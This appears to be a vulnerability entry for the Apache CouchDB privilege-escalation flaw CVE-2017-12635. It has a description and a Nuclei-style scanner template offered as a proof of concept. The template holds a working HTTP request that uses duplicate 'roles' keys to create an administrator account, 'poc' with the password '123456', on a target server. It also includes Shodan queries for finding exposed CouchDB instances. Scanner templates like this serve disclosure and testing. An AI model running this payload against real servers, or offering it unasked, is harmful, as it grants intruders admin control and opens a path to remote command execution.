Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
PoC
id: CVE-2017-12635
info:
name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
author: pikpikcu
severity: critical
description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
impact: |
Remote attackers can exploit this vulnerability to escalate privileges.
remediation: |
Upgrade Apache CouchDB to version 2.1.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-12635
- https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E
- https://security.gentoo.org/glsa/201711-16
- https://lists.debian.org/debian-lts-announce/2018/01/msg00026.html
- https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_us
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-12635
cwe-id: CWE-269
epss-score: 0.99838
epss-percentile: 0.9996
cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: couchdb
shodan-query:
- product:"couchdb"
- cpe:"cpe:2.3:a:apache:couchdb"
tags: cve2017,cve,couchdb,apache,intrusive,vkev,vuln
http:
- raw:
- |
PUT /_users/org.couchdb.user:poc HTTP/1.1
Host: {{Hostname}}
Accept: application/json
{
"type": "user",
"name": "poc",
"roles": ["_admin"],
"roles": [],
"password": "123456"
}
matchers-condition: and
matchers:
- type: word
part: header
words:
- application/json
- "Location:"
- type: word
part: body
words:
- org.couchdb.user:poc
- conflict
- Document update conflict
- type: status
status:
- 201
- 409
# digest: 4a0a004730450220579620e53453a5bb474c42e1c103f25b9b620fa3bf0a797921367ad42e844030022100e3903462b4b2a3dddf0225d13709d80ebd2dabf093a0ba2e593cb6d12d246100:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.